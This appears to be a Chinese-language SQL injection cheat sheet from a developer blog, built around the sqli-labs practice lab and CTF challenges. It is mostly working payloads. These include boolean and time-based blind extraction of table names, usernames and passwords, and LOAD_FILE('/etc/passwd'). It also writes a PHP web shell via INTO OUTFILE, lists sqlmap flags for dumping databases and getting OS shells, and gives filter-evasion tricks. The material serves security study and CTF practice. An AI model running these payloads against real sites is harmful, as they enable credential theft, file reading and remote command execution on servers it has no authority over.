SQL注入常用姿势

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 该内容介绍了SQL注入攻击和防御的一些基本概念,以及MySQL中的几个函数:`MID()`用于提取文本字段的字符,`LIMIT()`用于限制查询结果的数量,`COUNT()`计算元组数量。它还详细讲解了两种SQL注入方法:基于布尔盲注和基于时间盲注,包括如何猜解数据库、表和字段信息。此外,还提到了SQL注入工具Sqlmap的使用方法和一些绕过过滤策略。

万能用户名a' and 1=1

mid()---从文本字段中提取字符

SELECT MID(column_name,start[,length]) FROM table_name;

column_name 必需。要提取字符的字段。

start 必需。规定开始位置(起始值是 1)。

length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

图片

limit()---返回前几条或者中间某几行数据

select * from table limit m,n;

其m指记录始index0始表示第条记录 n指第m+1条始取n条

图片

Count()---聚集函数,统计元祖的个数

图片

基于布尔盲注

通过构造sql语句,通过判断语句是否执行成功来对数据进行猜解。

  • 查看表名
mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;
  • 获取表名第一个字符
mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
  • 获取表名第一个字符的ASCII
mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;

获取字段名与字段内容原理一样。

以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。

  • 先判断当前数据库的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

发现当值为8的时候,页面就没有显示。那么说明database()的长度是8

  • 获取数据库名

可以使用如下脚本猜解数据库名字:

图片

  • 获取表长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

发现当值为6的时候,页面就没有显示。那么说明表的长度是6

  • 获取表名

和上面类似,只需要把payload修改为下面即可:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23
  • 获取列名
payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"
  • 获取内容
payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"

payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"

基于时间盲注

基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理

首先理解一下下面的语句:

if(database()=’security’,1,2)

判断数据库名是否为security,正确返回1,错误返回2。基于时间的注入和基于布尔差不多,引入了if语句进行判断。

mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;



1 row in set (0.00 sec)
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m;



1 row in set (5.00 sec)

以Sqli-labs Less8为例,无论我们怎么输入,输出结果都是You are in ,所以判断为基于时间的盲注。

  • 数据库长度判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+
  • 使用二分法获得数据库名

图片

剩余步骤和基于布尔的差不多,只是加了一个if判断语句进行判断。

  • 获取表名:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23"
  • 获取列名:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"
  • 获取内容:
payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"

SQLI

http://p0.qhimg.com/t01ec1ac77fe963166e.png

http://p2.qhimg.com/t0179a5120e122c8876.png

SELECT FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

http://p5.qhimg.com/t01a8f245024e8d00e3.png

http://p2.qhimg.com/t013b833b91e84297d4.png

http://p1.qhimg.com/t012e4611c48e1bfe3c.png

http://p5.qhimg.com/t01f0c1bb92253720ee.png

读文件函数LOAD_FILE()

Examples:

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

SELECT '<? system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';写文件

?id=1'回显error,且?id=1'--+回显数据,则存在字符型SQL漏洞 --+后接注释

?id=-1'报错执行后续命令

group_concat(schema_name) from information_schema schemata

group_concat()函数将所有数据库中相关数据进行字符串拼接并进行一行显示

%\ 和%1$\可替换为空

a’or true ordered by 3 没出错则至少有三个库

a’or true ordered by 4 出错则至多三个库

用database()查看库里面的表名

a‘or(ture)union(select(1),database(),3)#

我们需要记得是schema,tables,columns,schema_name,table_sechma,table_name,column_name

[图片]

select(group_concat(column_name))from(information_schema.columns)where(table_schema='web2')and(table_name='flag')),3)#

group_concat函数是把一系列查询操作连在一起

通常sql的题会过滤一些关键字比如空格,单引号 或者是连着的单词ordered by里的ered by(这需要抓包才知道过滤了什么)

(),/**/,//,%1a$可替换为空格 单引号可替换为双引号 单词过滤可采用复写绕过比如orderedered by by

有些网站都回显,为了判断是否存在sql注入,可以传入a=-1

解题步骤

  1. 判断是数字注入还是字符注入?a=1 回显,?a=1’ 报错则为字符注入反之为数字注入
  2. 通过抓包看有无关键词过滤(有的时候过滤了也有回显)
  3. 查看有几个表名ordered by 3/4
  4. 确定注入位置 ?a=-1’ and 1 union select 1,2,3# ---->2
  5. 确定注入库名?a=-1’ and 1 union select 1,database(),3# --->web
  6. 开始联合搜索表名?a=-1’ and 1 union select 1,select group_concat table_name from information_schema.tables where table_schema=web,3#--->flag,next
  7. 进一步搜索列名?a=-1 and 1 union select 1,select group_concat column_name from information_schema.columns where table_schema=’web’ and table_name=‘flag’,3# -->flag
  8. 直接调用 a=-1’ and 1 union select 1,selest flag from flag ,3# 获取flag

Sqlmap

get型常用参数

-u:指定注入的URL   sqlmap -u URL
--dbs:爆出所有数据库 sqlmap -u URL --dbs
--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql
--users:查看数据库的所有用户 sqlmap -u URL --users
--current-user:查看数据库当前用户 sqlmap -u URL --current-user
--current-db:查看网站当前数据库 sqlmap -u URL --current-db
--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba
      [11:57:52] [INFO] testing if current user is DBA
    [11:57:52] [INFO] fetching current user
    current user is DBA: True
--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns 
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all
--sql-shell:获取数据库shell  sqlmap -u URL --sql-shell
--os-shell:获取服务器shell  sqlmap -u URL --os-shell
--file-read:读取服务器文件  sqlmap -u URL --file-read "文件路径及名称"
--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器
--time-sec=2:延时注入 sqlmap -u URL --time-sec=2
--batch:探测过程中不进行询问,一律选择默认
-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描

post型常用参数

-r:指定POST数据文件  sqlmap -r post.txt
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
--forms:自动搜索表单的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":测试cookie字段
--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入
--headers:增加额外的http头
--proxy:指定代理地址
-p:指定测试参数

SQL注入绕过

空格过滤绕过

preg_match(‘/ /’,$_GET[“id”])源码利用正则匹配对空格过滤

  1. 注释符(/**/)绕过
  2. 制表符(Tab)绕过

  3. 换行符(%0a)绕过

  4. ` 绕过

特殊字符绕过空格

http://p7.qhimg.com/t019037062ef5bcef07.png

Example:

'%0AUNION%0CSELECT%A0NULL%20%23

括号绕过空格

http://p8.qhimg.com/t0133fe2a7e485cc231.png

Example:

UNION(SELECT(column)FROM(table))

注释符&引号

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";

关键字绕过

测试用例information_schema.tables

http://p9.qhimg.com/t01938f16e28277c385.png

大小写绕过

preg_match(‘/select/’,$_GET[“id”])过滤绕过关键词select(以下例子都过滤了select)
用seLect绕过

双写关键字绕过

id=preg_replace(‘/select /i’,’ ’,$_GET[“id”])
正则表达式中的i意味着严格匹配大小写,故不能使用大小写绕过,可用seselectlect双写绕过

编码绕过

双重URL编码绕过

select------>se%256cect

Unicode编码绕过

select----->se%u006cect

等价函数字符替换绕过

用like或 in 替换 =

select from user where username=‘url’------>select from user where username like ‘url’

逗号绕过

select substr(database(),1,1);------> select substr(database() from 1 for 1);

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
4天前
|
SQL Web App开发 安全
【less-1】基于SQLI的SQL字符型报错注入
【less-1】基于SQLI的SQL字符型报错注入
14 2
|
4天前
|
SQL 安全 PHP
基于PHPCMS的SQL注入(Havij)
基于PHPCMS的SQL注入(Havij)
14 1
|
17天前
|
SQL 关系型数据库 MySQL
怎么通过第三方库实现标准库`database/sql`的驱动注入?
在Go语言中,数据库驱动通过注入`database/sql`标准库实现,允许统一接口操作不同数据库。本文聚焦于`github.com/go-sql-driver/mysql`如何实现MySQL驱动。`database/sql`提供通用接口和驱动注册机制,全局变量管理驱动注册,`Register`函数负责添加驱动,而MySQL驱动在`init`函数中注册自身。通过这个机制,开发者能以一致的方式处理多种数据库。
|
23天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 简单使用
SQL 注入神器:SQLMap 简单使用
|
4天前
【干货】sql-labs、请求方式、注入类型、拼接方式
【干货】sql-labs、请求方式、注入类型、拼接方式
8 0
|
1月前
|
SQL 存储 Java
如何避免SQL注入攻击?
如何避免SQL注入攻击?
|
1月前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
129 0
|
3天前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
4天前
|
SQL Web App开发 前端开发
【less-11】基于SQLI的POST字符型SQL注入
【less-11】基于SQLI的POST字符型SQL注入
17 2
|
4天前
|
SQL 开发框架 安全
【干货】如何判断 Sql 注入点
【干货】如何判断 Sql 注入点
11 1